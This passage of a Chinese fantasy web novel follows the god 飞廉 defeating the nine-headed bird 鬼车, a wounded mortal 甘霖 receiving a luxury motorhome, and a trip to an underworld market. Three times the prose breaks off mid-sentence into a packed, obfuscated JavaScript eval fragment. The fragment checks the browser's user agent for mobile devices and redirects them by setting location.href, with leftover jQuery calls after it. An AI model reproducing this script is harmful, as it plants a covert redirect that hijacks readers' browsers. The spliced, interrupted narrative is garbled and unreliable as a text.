飞廉,“……十个脑袋都在。” “哦,原来是后天的九头鸟。”甘霖点头,果真是神仙洞府里出来的老古董,说话文绉绉的,不能怪他听不懂。 “帝鸿就是你给他当过战神的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15206444|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个天帝吧?”甘霖问。 不知为何,问出这个问题后甘霖明显感觉飞廉高大的身形僵了一下,然后转过身背对着他,看着远方。 飞廉甚至没有正面回答他这个问题,“那时候帝鸿还不是天帝,是最大的两个部族其中之一的首领,经此一事,他得到了青丘和禽鸟一族两方的支持,也为后来他划分三界成为天帝奠下了基础。” 甘霖追到他身边,歪着身子从下往上看他的脸,“那你呢,你又是为什么支持他,还甘心当他一个后辈的臣子,做他的战神的……” 甘霖的话没能问完,飞廉的眼神让他无法继续说下去。 飞廉右耳的蓝色宝石耳坠,映得他漆黑的眼底像是有一片幽深的湖泊,耳坠轻晃,湖面便碎出了点点水光,折射出的是无法掩饰的孤独和悲伤。 明明还是那个高大伟岸、压迫感极强的异域风黑皮神祇,但他却觉得这一刻的飞廉莫名地让人心疼。 甘霖的心忽然好像一个被扎了一针的气球,没有“砰”地一声爆炸,而是一边发出细小的鸣音一边慢慢往外撒气,不疼,酸酸的。 他是个几乎不会内耗的人,会看脸色,会说话,一般只腹诽,面上都是笑笑的,因为他懒得计较,所以人际关系向来很好,就算有什么不顺的,他也不会怪自己。 沙尘暴他会说老天爷不开眼,这天安排面试他会说领导没眼色,就算莫名被承泣讨厌了,他也会说这网瘾小屁孩真是烦人,案子帮不上什么忙,他觉得作为一个凡人不添乱已经是进步了,就算是天上下刀子躲不了,他也会想办法找一把钝的接。 他经历的太多,就是靠着这样调侃人生,苦中作乐,甚至是有点蹬鼻子上脸,借着阳光就灿烂的心态开朗地活到了现在。 可这一次,他真的觉得自己说错话了,他不该问的。 像飞廉这样的神,化自盘古大神,仅存的上古神祇,三界最强,强悍孤绝,世事于他几乎没有任何意义,到底是为什么会去做一个成为天帝的后辈的麾下战神,理由也绝不是一两句话能说清楚的。 “对不起。”甘霖嗫嚅道,“我不该刨根问底。” 飞廉从远方收回眼神,深深地看了眼甘霖,微微摇头,“无妨,找鬼车吧。” 甘霖看了一圈,没有发现任何异样,也没有再看到那种丝丝缕缕的黑红色灵力,“大人,要不你带我飞高一点,咱从上往下看,不是看得更清楚吗?” 飞廉点头,伸手抄过他腋下,他臂展两米,一只胳膊就把他圈住了,“好,那就上天。” 甘霖想笑,“我们凡人讽刺别人都说你有本事你上天啊,现在我没本事,也上天了,天天上。” 飞廉垂眸看着他的笑脸,唇角现出一个柔和的弧度。 飞得高看得远,这次不用甘霖那双比神仙还能看得清楚的眼睛,飞廉也能看到。 一个山坳里,夜色都掩饰不住的黑红色雾气,浓厚的一团,就凝滞在那里。 “大人大人!那,就是那!”甘霖激动得大喊大叫。 飞廉的铁臂圈着他,“别乱动。” 他们径直飞向那处山坳,还没接触到聚集的灵力,腥臭的血味就扑面而来。 甘霖又干呕了,“呕!这味道,她不会藏了百八十具尸体在这里吧。” “不,这是她自己的血。” 13.13.爱狐(十三)飞廉大人是无敌的 甘霖和飞廉在那个山坳里看到了一个山洞。 两人在远处看到的充斥灵力的透明圆形,其实就是洞口的结界。 眼看着结界越来越近,甘霖总觉得自己会撞在玻璃上,下意识地就想闭上眼睛,结果飞廉带着他就那么跟细雨潜入夜似的,轻巧无声地穿过结界就进去了。 “呕!你就这么……呃!进来了……呕!”甘霖死死地捂住自己的鼻子,边说边干呕,这结界里面的味道比外面还要浓烈几十倍,“她是在这儿藏了一洞的动物尸体当储备粮吗?” “区区结界。”飞廉看着他,手指略微迟疑,最后还是在他鼻尖前几厘米处隔空轻点了一下。 腥臭的味道瞬间消失,甘霖又快又深地大吸几口气,“轻风送来光明啊,大人你可真是轻风送来光明。” “走吧。”飞廉嘴角翘了翘,抬脚先往洞内走去。 甘霖赶紧跟上,越走越觉得不对,“这个洞这么深吗?这山头看着也没有那么大吧。” “这不是自然的山洞,是鬼车用法力造出来的一个空间。” 他们越往里走,山洞深处一阵阵像是野兽喘.息般的呼噜声就越来越大,散逸出来的黑红色灵力也越浓,甘霖眼前一片赤红,感觉自己就像被泡在了一个巨大的深不见底的血池里。 山洞曲曲折折,就在野兽的声音已经大到近似低吼的时候,他们拐过一块山石,甘霖终于看到了他一直好奇并不断想象原形模样的鬼车。 这几天他也算是见了不少“凡人外”了,能化人形的妖里,他只见过祸斗的原形,当时对方那三米多高的庞大身躯给了他不少震撼。 他以为那就已经是极限了,现在才知道自己实在太天真了。 眼前巨大的山洞差不多二十米,六七层楼的高度,直径也差不多,没有光源,却有类似清晨的灰暗天光,可就是这么一个庞然巨洞,竟然被一只妖兽几乎充满了。 那是一只禽鸟类妖兽,浑身覆盖黑色的羽毛,九个巨大的脑袋轻轻摆动着,除了大小,样子和普通的鸟没有什么区别,最边上的一个脑袋就是当年因为屠戮青丘狐族被斩首的,只剩下几千年至今仍然在汩汩流血的脖子。 因为身体太大,十个弯曲的脖颈又挤在一起,显得比例奇怪,身体也很笨拙,她泡在自己的血汇聚而成的血池里,所有的脑袋眼睛都闭着,好像完全不知道有人闯进了这里。 甘霖真有种心神俱裂的感觉,他往飞廉身后躲了躲,“这么大?她怎么能变成一个普通人的样子的,这不符合能量守恒定律啊!” 飞廉往前走了一步,“鬼车,好久不见。” 鬼车的一个几乎两米大的脑袋缓缓睁开眼睛,慢慢伸到两人面前,她左右歪了歪脑袋,竟然有种难言的优雅和娇憨感,就连巨大的鸟眼都很标致漂亮,“飞廉大人?果真好久不见,还是如此英俊,让人为之心动。” 飞廉从不废话,“蛊雕是你从西北带来的吗,谁把你从赤霄笼里放出来的,你这么做的目的是什么?” “哈哈。”鬼车笑了笑,声音娇媚如银铃,“大人,这么多年不见,叙叙旧嘛,我还怪想你的。” 甘霖听着她的笑声既觉得好听又觉得刺耳,忍不住往后退了一步,结果一脚踩进了蜿蜒流过来的血沟里。 他这个该死的倒霉体质,总在不恰当的时候发挥作用,甘霖欲哭无泪,慢慢拔出浸透了粘稠血液的脚,撇着嘴,抖着嗓子,“大人……” 飞廉微微回头用余光睨了他一眼,抬手就是一记风刃打在了鬼车的脖子上,发出兵器相撞的金属音,平静无波的催促,“说。” 能把蛊雕一次斩杀的风刃甚至没能打下鬼车的一根羽毛。 怎么还发挥失常了,甘霖咽了口唾沫,从背后拽着飞廉的袖子摇了摇,“大人,你别紧张,现在是决战时刻,把战力提起来啊。” 鬼车也咯咯笑起来,长长的脖子轻轻晃动着,说话拖着长长的戏曲般的腔调,“飞廉大人,你我从未交过手,我知道您是三界最强者,可我也不是您随便动动手指头就能消灭的人。” 飞廉:“是吗?”他回身往甘霖身上扔了个结界,“你躲远些。” “哎。”甘霖一脸恶心嫌弃地甩了甩自己的脚,脚一踩就能接触到渗进鞋底粘稠的血污,他只能扶着石壁单脚跳着往边上退了退,“大人,加油哦。” 飞廉颔首,然后转身继续面对鬼车,忽然勾着嘴角露出了一抹笑。 甘霖从来没有见飞廉笑过,甚至他好像都没有在飞廉的脸上看到过除了面无表情以外的表情,可他精准地捕捉到了这一抹笑,这抹笑让飞廉不再是冷漠平淡的,而是透出了自信肆意,甚至是狂妄。 这一刻甘霖就明白,面对鬼车,飞廉是无敌的。 飞廉慢慢解开身上黑色衬衫的袖扣,挽了两道,“鬼车,我不仅没有和你动过手,实际上这三界还未有人能让我使出全力。” “脑袋多挺好,不会轻易打死。”飞廉抬头,“留下一个能说话的就行了。” 鬼车僵了一下,骤然发难,冲着二人张开巨大尖锐的鸟喙,喷出黑红色似火又似水的一道法力,“飞廉!你不过也是帝鸿的走狗!我今天就让你尝尝我的厉害!” 那声音大得甘霖脑袋瓜子嗡嗡作响,就跟有人拿着钻机在钻他的鼓膜和太阳穴似的,他眼睁睁看着那黑红色的法力直逼自己门面,吓得呼吸都要骤停,却在看到法力被身上的结界拦在一掌之外的时候长舒了一口气,默默捂住了自己的耳朵,晕乎乎地靠着石壁坐下来,尽力缩成一团,减少存在感。 鬼车又鸣叫了几声,展开翅膀,翅尖的羽毛犹如钢铁利刃朝着飞廉凌空袭来。 “浪费时间。”飞廉抬手,狂风在山洞内狂乱地飞舞,那些巨大沉重的翎羽被吹得四散飘落,他动了动手,风刃再次朝着鬼车横劈过去。 灵力相撞产生的狂风和波动吹得甘霖脸上的肌肉都变形了,他抱着脑袋闭上眼睛,一阵比之前还要尖利巨大百倍的鸣叫穿透了他的鼓膜和脑仁,然后戛然而止了。 甘霖忍着心悸从胳膊的缝隙里去看,呼吸骤然急促。 鬼车的七个脑袋已经被风刃斩断掉在了地上,只剩下两个脑袋,其中一个就好像被放进了搅拌机里按下了开关,被无形的风力提起、紧绷、扭转,已经濒临绞断。 她的另外一个脑袋因为巨大的痛苦瘫软在地面,一半都浸泡在血池里,鸟喙一张一合,无声地喘.息着。 飞廉踏空过去,没有沾到一点血,一直走到鬼车面前,半蹲在她面前,手上轻轻动作,那只绞住的脑袋被拧得更紧,鬼车长大嘴巴,无声鸣叫。 “鬼车,六千年前,你屠杀狐族百余人,为此付出斩首堕魔的代价,到现在,也没人知道你到底为什么那么做。”飞廉松了些手上的动作,“我猜猜,都是为了一个人吗?” 鬼车喘着粗气,愤恨地瞪着飞廉,“杀了我吧。” “你让蛊雕食人供你吸食魂气和他们的灵力,来填补自己的修为,但蛊雕不能帮你离开赤霄笼,离开第十八重冥司,不会从一开始就主动杀了自己的头领,离开自己的族群来找你。” 鬼车还在笑,“谁知道呢。” “禽鸟一族大都专情,永生永世一双人。”飞廉想了想,“我记得那个时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229871|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你身边总是跟着一只花羽赤足的鸟,总是和别的鸟族打架,弄得自己遍体鳞伤,他去哪儿了?” 鬼车闭上了眼睛,不再说话。 飞廉起身,“我还记得他的名字,谏珂,是吗?” 鬼车有气无力地睁开眼,嗤笑一声,“他不过是个什么都不懂的小鸟,修为中庸,能有什么本事破开赤霄笼,飞廉,你难道一点脑子都没有吗?” “我猜测的对不对,我自己会证明,不用你操心。”飞廉说完伸手,掌心出现一个光团,白光闪过,濒死的鬼车瞬间消失,只剩下巨大的散发着腥臭的血池。 “让孰湖和丁令威带人过来善后。”飞廉道。 甘霖摇摇晃晃站起身,“好,他们那边没找到应该会来这边。” 他看着飞廉转过身,表情忽然变得紧张,不明所以地低头看了自己一眼,“我怎么了……” 话没说完,他膝盖一软又要倒下去,飞廉身体一震,立刻出现在他面前,伸出手却又收回,最后只是用法力在虚空中托住了他。 “甘霖,你流血了?” 甘霖歪斜着靠在飞廉无形的风上,抹了把自己的脸,全是血,嘴里也是血,听飞廉的声音也像是隔着水一样,耳朵针扎般疼,“啊,可能是被鬼车的叫声震到了,没事……” “你耳朵也在流血!”飞廉带着他瞬移到了山外,正好遇到赶来的另外四个人。 孰湖连跑带跳地过来,“怎么了,甘霖这是怎么了!” 甘霖只看到他嘴动,几乎听不到声音,勉强笑了笑,就立刻昏了过去。 “你和丁令威叫此处的地仙和城隍来善后。”飞廉急匆匆地说完,带着甘霖就消失不见了。 “祸斗,你留下照应,算你钱。”承泣也跟着去了。 三人回到了神仙驻凡办事处,来到了位于一侧小角楼的医务科。 飞廉隔空把飞廉放在病床上,医仙岐伯穿着白大褂过来,“这是怎么了,七窍有四窍都在出血。” “他耳朵可能受伤了,加上一天一夜没睡,劳累过度。”飞廉道。 岐伯点点头,“知道了,你们先出去。” 飞廉看着躺在病床上的甘霖,最后克制地伸出手,捏了捏他的掌心,这才和承泣一起离开。 两人坐在停车场边的椅子上,动作出奇地一致,仰头看着天空。 不知不觉已经是上午九点,天气放晴,天光大亮,昨天的沙尘暴没有留下什么痕迹。 承泣轻笑了一声,有些嘲讽,“你为他做了那么多,万年来眼里都只有他一个,背负了几千年的骂名,现在却连把他抱进怀里都做不到?” 飞廉看着自己的手,“你知道我最后一次抱他是什么时候吗?” 承泣沉默。 “是他死的时候。” 飞廉没有继续说下去,但承泣知道,那之后的几千年,飞廉一直都在重复那一幕的痛苦。 “你这个样子什么时候才能抱得美人归啊。”承泣叹息,“我给你支一招。” “你有资格说我?”飞廉抬眼,“什么招,先说来一听。” 承泣嗤笑,道:“直接点,追爱的动作直接点,那家伙好.色,你在这方面的优势不比你的战力小,发挥发挥。” “我其实没想如此,能守着他,每日看到他,便很知足了。” “那你就什么都不要做,他现在这工作,以后三界帅哥美男多的是,他肯定会不停地对着别的男人发花痴,关系好了,一起喝酒聚乐,彻夜不归,和从前一样,你就在一旁看着吧。” 飞廉的背一僵,“你方才所说,展开讲讲。” 14.14.爱狐(十四)祸斗和他的小老弟 承泣也没什么经验,况且他并非能够滔滔不绝,侃侃而谈之人,所以鄙视完飞廉,又憋了两句话后,两个人就一起沉默了。 飞廉看了他一眼,眼神里明明白白四个字:养你何用? 承泣心口一塞,转头冷眼看着和祸斗勾肩搭背走进大门的孰湖,拿出手机就是一张照片,咔嚓一声。 祸斗看见了,大咧咧地问,“你干嘛拍我和小老弟的照片?” 承泣,“发给迦楼罗。” 祸斗狗尾巴都要僵直了,“你等会儿,发给迦楼□□什么?” “直播你和众小老弟的日常。” 祸斗以恶犬之势飞扑而来,抓住了承泣的手,看到承泣冰冷的眼神又赶紧放开,“哈哈,忘了你有洁癖,冥君大人,我家小山鸡孵蛋呢,那可是三界唯一一只的青鸾,西王母的重臣,不可打扰。” 承泣已经编好了消息,还附了一句留言,“祸斗和他的小老弟,库存甚多,一万一张。” “八折!这次干活打八折!”祸斗大喊,雄壮硬汉瞬间化身哈基米,就差趴在承泣膝头摇尾巴了。 承泣掀起纤长睫毛,眉目如冰似雪没有温度,“我觉得迦楼罗愿意出更多钱买我手里的照片,咱俩合作过这么多次,我每次都拍几张,存货管够。” “免费,咱俩合作这么多次了,这次就当满减活动,赠送的,免费!” “你也不担任何官职,乃三界一自由人,咱们是合作,不收我钱岂不是不好?” 祸斗差点咬碎一口狗牙,但还得咧嘴笑,“这怎么说呢,我家小山鸡那不是天官吗,作为家属,就当支持他的工作了,冥君大人一定要给我这个机会。” “既然如此,看在迦楼罗的面子上,那好吧。”承泣收起手机站起身,“修赤霄笼估计要花不少钱买灵石材料,能省则省了。” 说完他就要走,被飞廉叫住,“承泣。” 承泣转身,用眼神问他还有何事。 飞廉把关着鬼车的白色光球扔给他,“鬼车关在这陨星牢里,赤霄笼损毁,山魈被杀,上面一定会责问你,你还要好好想想怎么交代。” 承泣淡定冷漠,“你都把鬼车抓回来了,其他的又能奈我何?” “要是上面刁难你,记得找我。”飞廉说。 “我知道。”承泣原地消失回幽都去了。 祸斗丧眉耷眼地看着飞廉,“大人,你不会也要我打折吧?” 飞廉摇摇头,拿出手机点了点,“够吗?” 祸斗拿出手机,瞪眼眼睛数,“个十百千万十……靠,大人大气!以后有什么事随便来找我,没事我就先回去了,这次我打包一箱风干龙肉给我家小山鸡,好好犒劳犒劳他。” “确实有事。”飞廉叫住他。 “什么?” “你先别回去,让迦楼罗好好孵蛋,早点把火精拿回来。” 祸斗不明所以,“我回去他也能好好孵蛋,大人,我保证,十天肯定让青鸾出世。” “有我和承泣的灵力。”飞廉抬眼看他,“你不回去,迦楼罗五天就能让青鸾出世。” 祸斗无法反驳,但还在垂死挣扎,“小山鸡会想我的。” “距离产生美,你在外面呆几天再回去,我保证迦楼罗肯定主动扑你怀里。”飞廉有些不耐,拍板钉钉,“丁令威,你去把承泣的灵力送去给迦楼罗,顺便在奈何桥边的铺子里带一箱风干龙肉过去。” 丁令威应了一声,从心不甘情不愿的祸斗手里抱过排球大的深蓝色灵力球,动身去幽都了。 “我得跟小山鸡说一声。”祸斗给迦楼罗发消息:老婆,你好好孵蛋,飞廉大人说青鸾不出世,不让我回去,你不要太想我。 迦楼罗一秒回复:帮我谢谢飞廉大人,问问他能不能多使唤你几天? 祸斗心塞,老婆就是嘴硬,他决定忽略这条短信,收起手机,“大人,为何那么着急把火精要回来?” “火精离开幽都多久了?” “半年多吧。”祸斗想了想,幽都的时间和人间差不多,“半年前青鸾不敌天劫,轮回成蛋,迦楼罗天天抱在身边用自己的灵力孵,才能让他这么快就出世的。” 飞廉表情严肃,“这半年,市区发生了几次十年不遇的狂风,西南地壳震动频率上升了百分之三十,东南海潮变大,西北夏季旱情严重冬天降雪变多,你以为这之间没有关联吗?” 祸斗立刻变傻狗,眨了眨眼,“我没想那么多。” “烛阴一世英名怎么会教出你这样的徒弟,当年我就说过,让他不要找只狗。”飞廉叹了口气。 “哎,飞廉大人也不能人身攻击,狗怎么了,我们犬妖也是大妖族。”祸斗立马反吠。 “烛阴不在的时候我就告诉过你,火精不能离开幽都超过十天,你居然把它给西王母?” 祸斗一脸心虚,“你是不知道青鸾应劫没成功西王母把迦楼罗说成什么样了,我自己老婆我能不心疼嘛,我就一气之下把火精给她了。” 飞廉斜了他一眼,“我要是你,就巴不得青鸾早点出来。” “为什么?” “情敌变儿子,一劳永逸。”飞廉转身走向医务科,“孰湖,二十四小时看着他,不许让他回到幽都去。” 孰湖是接什么命令就执行到底的钢筋脑袋,他就算是被祸斗叼在嘴里带到幽都去,都不会离开祸斗一分钟。 祸斗也知道,没有挣扎,本来又要勾孰湖的背,忽然想起承泣的背刺,改为拍了拍孰湖的肩,“小老弟,这几天叨扰了。” 孰湖很热情,眼睛亮汪汪的,比他还像小狗,“没事儿,我今天就去把我的洞收拾收拾,我那石床可大了!” “呵呵,没事,我自己带床。”祸斗干笑了两声,忽然想起什么,“哎,甘霖呢,那会儿都流血了,伤好了没有?” 甘霖还在昏睡中,他知道自己在睡觉,他甚至也知道自己在做梦,梦里看到的还是飞廉,不过是从前的飞廉,穿着深蓝色毛边衣袍,长发随风,像是草原上策马奔腾的异域王子的飞廉。 他看到飞廉天上地下到处跑,好像在寻找什么东西,找了几百年,随后他跟着飞廉的视角来到了一个云气缭绕的仙境,那里有一个云蒸霞蔚的小池子,十来个人影在池边横卧斜倚,对酒当歌。 甘霖一眼就能看到最中间一个穿着湖蓝色衣袍的男人,面容模糊不清,但依然能感受到他的风华绝代,莫名的,他就是知道飞廉就是来找这个人的。 果然,飞廉站在了那人面前,嗓音和如今一样,清凌凌带着寒意,“该回家了。” 那个人显然已经酣醉沉迷了,眼神迷离地盯着飞廉看了一会儿,粲然一笑,“哎呦,小龙雀啊,怎么还找到这儿来了,来来来,喝一杯,这天池水酿出来的酒真是一绝,醉人不伤人,喝了舒服……” 甘霖能感受到飞廉的愤怒,还有愤怒之外的伤心,但飞廉只是捏了捏拳头,最后一步跨进池中,将贴在那人身上的另外一个绝色男仙撕开,俯身单手箍住对方的腰,将人一把抱起,“你该回家了。” 那人在飞廉怀里还不消停,“你个小崽子,别管我的事,我还要喝呢,待会儿还有人会带仙果来,我还没吃呢!” 飞廉的铁臂丝毫不被撼动,“你想喝酒我去给你找,你想吃仙果我去给你摘。” 那人拍着飞廉的胸膛,“你、你去把大伙都叫上,人多热闹嘛,回去就你一个,无聊死了。” 那一瞬甘霖忽然明白了飞廉悲伤的来源。 这个人的世界精彩纷呈,有很多人很多事,飞廉只不过是其中略微特殊的一个。 但飞廉的世界里,这个人却是唯一。 “唉。”甘霖在梦中想骂人,“你个傻蛋,长这么帅,没必要在一棵树上吊死嘛,暴殄天物。” 果然飞廉没说话,只是抱着那人一步步走下了山。 到山下的时候,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232385|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人已经在飞廉怀里睡了一觉,挣扎着换了个姿势,“龙雀,你背着我,别用抱的,难受。” 飞廉便重新将他背在背上。 那人还不罢休,凑到飞廉的耳边,“快点飞回去嘛,一步步走到什么时候去?” 这次飞廉没听话,直接给他扔了一个昏睡咒,继续背着一步步往前走。 甘霖笑了笑,“不就是想和人家多一点肢体接触嘛,还挺纯情。” 飞廉和那人的身影越来越远,甘霖也终于从梦中清醒。 他睁开眼睛,下意识地抹了把脸,没有血迹,然后迷迷瞪瞪地拿过手机看了一眼,瞬间弹射起身,“我去,我睡了三天?!” 他对三天这个时间都应激了,“我不会是又死了一次吧……” “醒了?” “呃!”甘霖吓得一个激灵,回头才发现飞廉坐在一旁。 “我真是要被你吓死。”他拍了拍胸口,然后看着周围,发现自己睡在一张双人床上,“这是什么地方?” 飞廉也看了一圈,“房车,你不是说让我补偿你一辆房车,今早刚让人开过来的。” “这么大?不是,你真要送我?”甘霖眼睛瞪得溜圆。 他以前做梦的时候不止一次想过将来买辆房车环游世界,虽然他连驾照都没钱学,但就跟要给自己一点梦想似的,了解了不少关于房车的事情。 所以他一眼就认出这是叛逆者最新款的A型超级房车,加上拓展舱,光是生活面积就达到了四十平,一次可以容纳八人以上休息居住,飞廉送他的这辆还是顶配,至少要八百万! “生命无价,这不算什么,毕竟是我害的你。”飞廉淡淡道,“你没有驾照不能开,就放在这里当个家吧,小旅馆的行李我都给你带来了,拓展舱打开,水电也已接好,里面重新布置过,毕竟你一个人住,不需要那么多床。” 甘霖的心砰砰跳起来,从八岁他成为孤儿开始,他就没有家了,这么多年他终于有家了。 “这款是限量的,你怎么会买到?”甘霖从床上下来,他有些不知所措,所以没话找话。 “东王公认识不少权贵,引荐了一下,正好有人买了想要出掉,就卖给我了。” 甘霖拉开主卧的门走出去,整体是简约淡雅的白色和米色装修,因为取掉了中部卧室的上下床,所以厨房的面积更大,还加了餐厅和水吧台,客厅的沙发也更长,客卫也更舒服了。 “我感觉走上了人生巅峰。”甘霖笑着回头,“一下从穷困潦倒,无处可去,有了这么好的一个家。” 飞廉神色柔和地靠着主卧的门看他,“你喜欢就好。” “喜欢!这能不喜欢吗,真金白银买来的,一室一厅两卫的豪华单身公寓,简直就是梦想之家!”甘霖兴奋地这摸摸那看看,甚至还掀了掀客卫的马桶盖。 “对了,新房子都要开火,我厨艺很好的,请你吃饭吧!”他看向飞廉。 飞廉迟疑了一下,正要说话,甘霖忽然想起什么,“哦,对了,孰湖说你从来不吃饭,你是要辟谷吧,那我叫孰湖好了,他饭量大,多少都能吃得下,这下给我省了一大笔钱,我好好去超市买点食材把冰箱塞满,多给他做点……” 甘霖絮絮叨叨地拿出手机,已经开始搜索最近的超市了。 “孰湖有任务,他要看着祸斗,不让祸斗去打扰迦楼罗孵青鸾蛋。”飞廉打断他。 “这样啊。”甘霖遗憾了三秒,又兴奋道,“那就把祸斗也叫上,他送了我那么多宝石,我正好感谢他。” 飞廉穿过他准备离开,门都打开了,又想起什么回过头,“你知道祸斗送你的宝石是什么吗?” 甘霖:“他灵力的结晶,火灵石啊。” “祸斗食炭,泄于地,皆火也。” 甘霖眨眼,“说人话。” “祸斗吃炭,一喝醉就喜欢造灵石,不是他吐的……”飞廉眼神有些挑衅,“就是他拉的。” 15.15.爱狐(十五)飞廉的补偿 听完飞廉的话,甘霖愣了足有十来秒,然后勉强笑笑,“哇哦,真厉害。” “你干嘛要和我说这些啊,他是个妖,其实没什么的,但你这么一说……”然后他叹了口气,看着飞廉的表情有些委屈和埋怨,“飞廉大人,你能不能带我去幽都啊,我想赶紧把他们换成钱。” 飞廉神情不自然地“嗯”了一声,“正好我要去,一起。” “那你等我洗漱换身衣服。”甘霖转身跑回了主卧。 他飞快地收拾好来到门边的鞋柜换鞋,却惊讶地发现里面没有一双是他自己的鞋,换成了两双国产名牌的加绒款冬季板鞋和一双国际奢派的男士马丁靴。 甘霖很穷,他的衣服都是标准的地摊货,单价不会超过五十块,鞋也是一样的,东西价格不同真的会影响品质,他常年掌心发烫,但脚特别不耐冻,这么多年,他买的鞋从来没有让他的脚温暖过。 他穿上其中的一双板鞋,柔软又温暖,是他从未感受过的品质,价格带来的品质。 甘霖跺跺脚,推门出去,正好撞进抱臂等在外面的飞廉眼中,那一瞬他忽然觉得,飞廉好像已经这么等了千万年。 他灿烂一笑,迎着飞廉走过去,“大人,谢谢你的鞋,真舒服,而且超暖和。” 飞廉的视线扫过他的脚,“嗯,注意保暖。” “好。”甘霖看了看房车外貌,大气庄重的星空灰,“怎么外面和别处不一样?” 他以为房车就是停在办事处前面小广场靠近主楼的地方,结果入目竟然是一个颇具乡村田园风的小花园,一百多平米的样子,被竹编的栅栏围着,一条石板小路通向竹门,种了几棵果树,小路一边种着各种花,一边种了几畦菜苗。 甘霖抬头看了看,湛蓝的天空和冬日灿烂但没什么温度的太阳,办事处的城堡都和平常一样,他甚至还能看到他第一天来的时候,那只对着他鼻子喷气的神鹿。 看似这里就是停车场的一角,但大小和气候却又告诉他不仅仅如此。 “帝释天的须弥山芥子技术?”甘霖记忆力很好,迦楼罗只是提过一嘴,他就记住了。 飞廉:“嗯。” 甘霖心里的波动比知道飞廉送了自己一辆房车的时候还要大。 他本来打算在附近租房子的,那天晚上回到小旅馆,他浏览了几小时的租房信息,最后在两个里面来回犹豫。 都是老小区,一个面积大点,小高层,采光很好,房龄小,装修也不错,基本可以拎包入住,另一个在一楼,三十年老房子,使用面积还不到三十平,基本和毛坯没什么区别,没有任何家具。 两个房子房租一样,可当时他还是最想租第二个,不为别的,就为那个房子带了一个八平米的小花园。 他是农村孩子,对父母的记忆已经很淡薄了,但就记得他家农村的房子前面有半亩地,种了各种东西,还养了鸡鸭和狗,生活虽然不富足,但从来没饿过肚子,那半亩菜园,养活了他们一家三口。 只是后来一场大火,把一切都毁了。 从八岁后的很多年里,甘霖时常饿肚子,刚上大学的第一年,他一米八的身高就只有一百零几斤,每天都只能吃学校食堂助贫的特价饭菜,除此以外的零食水果,他是想都不敢想的,半夜被饿醒的感觉他太清楚了。 一直到第一学期结束他拿到了奖学金,也因为性格好结识了一些朋友,被介绍了很多薪水不错的兼职,这种情况才慢慢好起来。 他很想有一个自己的院子,种几畦蔬菜,这样不管他兜里有没有钱,至少菜园里的蔬菜还能让他填饱肚子。 甘霖转头看向飞廉,“你……为什么知道……” 飞廉移开视线,“只是参考了家居杂志。” 甘霖黑亮的眼睛看着飞廉,一直望到他眼底深处,“飞廉大人真的是最好上司,这是我最想要的家,真的非常感谢,我就说嘛,和你相遇是因祸得福。” 说着他走向小院子外面,在院门口旁边最近的树上摘樱桃,“大人真了解我,种的都是平日里我舍不得吃的贵价水果。” 可能是因为飞廉用了法术,所以这几棵果树都呈现出花果同在的奇特样子,既能赏花又能吃果,所以他能认出来种的是什么,樱桃,枇杷,石榴,柠檬和无花果,角落甚至还有一颗葡萄藤,缀着他最爱吃的巨峰葡萄。 他撩起衣摆摘了一兜子,“带去给孰湖和祸斗尝尝,他俩肯定挺无聊的。” 飞廉:…… 甘霖回头,又些迟疑,“飞廉大人,你……要不要吃?”他不确定飞廉吃不吃凡人的东西。 飞廉:“吃,多来些。” “啊?”甘霖有些惊讶,看了看自己的衣摆,“那这些都给你吧。” 飞廉反手就变出一个大号的保鲜盒,“装进去。” 甘霖把摘的樱桃都倒进去,也就装满一多半,“大人你扔个净化咒,立马就能吃了。” 飞廉“嗯”了一声,“走吧。” 甘霖点点头,跟着他走出院门,“等任务结束我直接把孰湖叫到家里来吃,他吃完了我再让他用法术给我变出来。” 飞廉收起保鲜盒,冷冷看了他一眼,“孰湖没有那个本事。” 于是甘霖开始认真思考他认识的人里谁能让他的果树一直结满果子,最后视线还是落在了飞廉身上,但直觉告诉他飞廉这会儿有点生气,他最好不要在这种时候提起这个话题。 走出电梯门,两人又来到了熟悉的地方,忘川还是那么热闹。 “大人,我们现在去干什么?” “跟上。”飞廉往前走。 两人上了奈何桥,穿过忘川,来到人来人往的街上,甘霖从来没来过这种一个凡人都没有的商业街,感觉特别像古迹景点附近的仿古商业街,还有很多穿着一身黑衣,戴着兜帽,把整张脸都隐藏在黑暗里,席地而坐摆摊子的商贩。 那些东西五花八门,什么都有,既有杯盘酒盏这样的器具,也有各种植物或是矿石一类的自然物。 忽然他看到有一个人面前的黑布上放着和祸斗送他的灵石几乎一样的宝石,立马跑过去,指着那个红色宝石问,“这个,你收吗?” 那人隐藏在黑处的眼睛看了他一眼,“收。” 甘霖赶紧从自己的斜挎包里掏出用纸包着的十几块灵石,“你看这些能收多少钱?” 